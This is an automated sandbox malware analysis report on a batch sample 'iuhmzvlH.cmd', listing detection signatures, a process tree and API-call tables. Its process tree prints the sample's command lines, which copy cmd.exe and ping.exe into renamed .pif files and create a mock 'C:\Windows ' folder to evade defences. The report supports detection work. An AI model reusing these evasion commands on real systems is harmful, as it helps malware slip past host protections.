Edit tour

Windows Analysis Report
iuhmzvlH.cmd

Overview

General Information

Sample name:	iuhmzvlH.cmd
Analysis ID:	1562861
MD5:	b87f096cbc25570329e2bb59fee57580
SHA1:	d281d1bf37b4fb46f90973afc65eece3908532b2
SHA256:	d08ccc9b1e3acc205fe754bad8416964e9711815e9ceed5e6af73d8e9035ec9e
Tags:	cmddoganalecmduser-JAMESWT_MHT
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Sigma detected: Execution from Suspicious Folder

Binary contains a suspicious time stamp

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Execution of Suspicious File Type Extension

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2944 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\iuhmzvlH.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

esentutl.exe (PID: 4308 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o MD5: E2098B56CF093E165D030E27591CE498)

esentutl.exe (PID: 4720 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o MD5: E2098B56CF093E165D030E27591CE498)

alpha.pif (PID: 1672 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

alpha.pif (PID: 6004 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

alpha.pif (PID: 432 cmdline: C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

xpha.pif (PID: 7160 cmdline: C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D)

alpha.pif (PID: 7032 cmdline: C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

alpha.pif (PID: 6204 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

alpha.pif (PID: 5480 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.pif, NewProcessName: C:\Users\Public\alpha.pif, OriginalFileName: C:\Users\Public\alpha.pif, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\iuhmzvlH.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2944, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , ProcessId: 1672, ProcessName: alpha.pif

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.pif, NewProcessName: C:\Users\Public\alpha.pif, OriginalFileName: C:\Users\Public\alpha.pif, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\iuhmzvlH.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2944, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , ProcessId: 1672, ProcessName: alpha.pif

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000002.00000003.2054845712.00000133B7990000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000005.00000000.2058646531.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000000.2059683551.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000000.2060949975.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000002.2157971587.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000000.2158815042.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000002.2161338491.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000002.2162246691.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000000.2161703712.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000002.2163213670.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000000.2162595664.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif.2.dr
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 00000004.00000003.2056904803.00000256300D0000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000008.00000000.2061254196.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif, 00000008.00000002.2157147929.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif.4.dr
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000002.00000003.2054845712.00000133B7990000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000005.00000000.2058646531.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000000.2059683551.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000000.2060949975.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000002.2157971587.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000000.2158815042.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000002.2161338491.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000002.2162246691.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000000.2161703712.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000002.2163213670.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000000.2162595664.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif.2.dr
Source:	Binary string: ping.pdb source: esentutl.exe, 00000004.00000003.2056904803.00000256300D0000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000008.00000000.2061254196.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif, 00000008.00000002.2157147929.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif.4.dr

Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	5_2_00007FF718D52978
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	5_2_00007FF718D435B8
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	5_2_00007FF718D41560
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	5_2_00007FF718D5823C
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D67B4C FindFirstFileW,FindNextFileW,FindClose,	5_2_00007FF718D67B4C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	6_2_00007FF718D52978
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	6_2_00007FF718D435B8
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	6_2_00007FF718D41560
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	6_2_00007FF718D5823C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D67B4C FindFirstFileW,FindNextFileW,FindClose,	6_2_00007FF718D67B4C
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	9_2_00007FF718D52978
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	9_2_00007FF718D5823C
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	9_2_00007FF718D435B8
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	9_2_00007FF718D41560
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D67B4C FindFirstFileW,FindNextFileW,FindClose,	9_2_00007FF718D67B4C

Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D589E4 NtQueryInformationToken,NtQueryInformationToken,	5_2_00007FF718D589E4
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D5898C NtQueryInformationToken,	5_2_00007FF718D5898C
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D43D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	5_2_00007FF718D43D94
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D71538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	5_2_00007FF718D71538
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D57FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	5_2_00007FF718D57FF8
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D58114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	5_2_00007FF718D58114
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D6BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	5_2_00007FF718D6BCF0
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D588C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	5_2_00007FF718D588C0
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D589E4 NtQueryInformationToken,NtQueryInformationToken,	6_2_00007FF718D589E4
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D5898C NtQueryInformationToken,	6_2_00007FF718D5898C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D43D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	6_2_00007FF718D43D94
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D71538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	6_2_00007FF718D71538
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D57FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	6_2_00007FF718D57FF8
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D58114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	6_2_00007FF718D58114
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D6BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	6_2_00007FF718D6BCF0
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D588C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	6_2_00007FF718D588C0
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D57FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	9_2_00007FF718D57FF8
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D58114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	9_2_00007FF718D58114
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D589E4 NtQueryInformationToken,NtQueryInformationToken,	9_2_00007FF718D589E4
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D5898C NtQueryInformationToken,	9_2_00007FF718D5898C
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D43D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	9_2_00007FF718D43D94
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D71538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	9_2_00007FF718D71538
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D6BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	9_2_00007FF718D6BCF0
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D588C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	9_2_00007FF718D588C0

Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D45240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,

5_2_00007FF718D45240

Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D54224 InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,wcsrchr,lstrcmpW,CreateProcessW,CloseHandle,CreateProcessAsUserW,_local_unwind,GetLastError,_local_unwind,_local_unwind,CloseHandle,DeleteProcThreadAttributeList,GetLastError,GetLastError,DeleteProcThreadAttributeList,

5_2_00007FF718D54224

Source: C:\Users\Public\alpha.pif	File created: C:\Windows			Jump to behavior
Source: C:\Users\Public\alpha.pif	File created: C:\Windows \SysWOW64			Jump to behavior

Source: C:\Users\Public\alpha.pif

File deleted: C:\Windows \SysWOW64

Jump to behavior

Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D55554	5_2_00007FF718D55554
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D47D30	5_2_00007FF718D47D30
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D4AA54	5_2_00007FF718D4AA54
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D537D8	5_2_00007FF718D537D8
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D48DF8	5_2_00007FF718D48DF8
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D4CE10	5_2_00007FF718D4CE10
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D481D4	5_2_00007FF718D481D4
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D6D9D0	5_2_00007FF718D6D9D0
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D71538	5_2_00007FF718D71538
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D67F00	5_2_00007FF718D67F00
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D46EE4	5_2_00007FF718D46EE4
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D4E680	5_2_00007FF718D4E680
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D6EE88	5_2_00007FF718D6EE88
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D50A6C	5_2_00007FF718D50A6C
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D45240	5_2_00007FF718D45240
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D47650	5_2_00007FF718D47650
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D4D250	5_2_00007FF718D4D250
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D49E50	5_2_00007FF718D49E50
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D54224	5_2_00007FF718D54224
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D42220	5_2_00007FF718D42220
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D44A30	5_2_00007FF718D44A30
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D6AA30	5_2_00007FF718D6AA30
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D43410	5_2_00007FF718D43410
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D46BE0	5_2_00007FF718D46BE0
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D6AFBC	5_2_00007FF718D6AFBC
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D43F90	5_2_00007FF718D43F90
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D45B70	5_2_00007FF718D45B70
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D49B50	5_2_00007FF718D49B50
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D4372C	5_2_00007FF718D4372C
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D48510	5_2_00007FF718D48510
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D4B0D8	5_2_00007FF718D4B0D8
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D518D4	5_2_00007FF718D518D4
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D41884	5_2_00007FF718D41884
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D42C48	5_2_00007FF718D42C48
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D6AC4C	5_2_00007FF718D6AC4C
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D57854	5_2_00007FF718D57854
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D55554	6_2_00007FF718D55554
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D47D30	6_2_00007FF718D47D30
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D4AA54	6_2_00007FF718D4AA54
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D537D8	6_2_00007FF718D537D8
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D48DF8	6_2_00007FF718D48DF8
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D4CE10	6_2_00007FF718D4CE10
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D481D4	6_2_00007FF718D481D4
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D6D9D0	6_2_00007FF718D6D9D0
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D71538	6_2_00007FF718D71538
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D67F00	6_2_00007FF718D67F00
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D46EE4	6_2_00007FF718D46EE4
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D4E680	6_2_00007FF718D4E680
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D6EE88	6_2_00007FF718D6EE88
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D50A6C	6_2_00007FF718D50A6C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D45240	6_2_00007FF718D45240
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D47650	6_2_00007FF718D47650
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D4D250	6_2_00007FF718D4D250
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D49E50	6_2_00007FF718D49E50
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D54224	6_2_00007FF718D54224
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D42220	6_2_00007FF718D42220
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D44A30	6_2_00007FF718D44A30
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D6AA30	6_2_00007FF718D6AA30
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D43410	6_2_00007FF718D43410
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D46BE0	6_2_00007FF718D46BE0
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D6AFBC	6_2_00007FF718D6AFBC
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D43F90	6_2_00007FF718D43F90
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D45B70	6_2_00007FF718D45B70
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D49B50	6_2_00007FF718D49B50
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D4372C	6_2_00007FF718D4372C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D48510	6_2_00007FF718D48510
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D4B0D8	6_2_00007FF718D4B0D8
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D518D4	6_2_00007FF718D518D4
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D41884	6_2_00007FF718D41884
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D42C48	6_2_00007FF718D42C48
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D6AC4C	6_2_00007FF718D6AC4C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D57854	6_2_00007FF718D57854
Source: C:\Users\Public\xpha.pif	Code function: 8_2_00007FF6F7631B5C	8_2_00007FF6F7631B5C
Source: C:\Users\Public\xpha.pif	Code function: 8_2_00007FF6F7631340	8_2_00007FF6F7631340
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D48DF8	9_2_00007FF718D48DF8
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D55554	9_2_00007FF718D55554
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D4AA54	9_2_00007FF718D4AA54
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D537D8	9_2_00007FF718D537D8
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D57854	9_2_00007FF718D57854
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D4CE10	9_2_00007FF718D4CE10
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D481D4	9_2_00007FF718D481D4
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D6D9D0	9_2_00007FF718D6D9D0
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D71538	9_2_00007FF718D71538
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D47D30	9_2_00007FF718D47D30
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D67F00	9_2_00007FF718D67F00
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D46EE4	9_2_00007FF718D46EE4
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D4E680	9_2_00007FF718D4E680
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D6EE88	9_2_00007FF718D6EE88
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D50A6C	9_2_00007FF718D50A6C
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D45240	9_2_00007FF718D45240
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D47650	9_2_00007FF718D47650
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D4D250	9_2_00007FF718D4D250
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D49E50	9_2_00007FF718D49E50
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D54224	9_2_00007FF718D54224
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D42220	9_2_00007FF718D42220
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D44A30	9_2_00007FF718D44A30
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D6AA30	9_2_00007FF718D6AA30
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D43410	9_2_00007FF718D43410
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D46BE0	9_2_00007FF718D46BE0
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D6AFBC	9_2_00007FF718D6AFBC
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D43F90	9_2_00007FF718D43F90
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D45B70	9_2_00007FF718D45B70
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D49B50	9_2_00007FF718D49B50
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D4372C	9_2_00007FF718D4372C
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D48510	9_2_00007FF718D48510
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D4B0D8	9_2_00007FF718D4B0D8
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D518D4	9_2_00007FF718D518D4
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D41884	9_2_00007FF718D41884
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D42C48	9_2_00007FF718D42C48
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D6AC4C	9_2_00007FF718D6AC4C

Source: C:\Users\Public\alpha.pif

Code function: String function: 00007FF718D53448 appears 54 times

Source: classification engine

Classification label: mal56.evad.winCMD@20/4@0/1

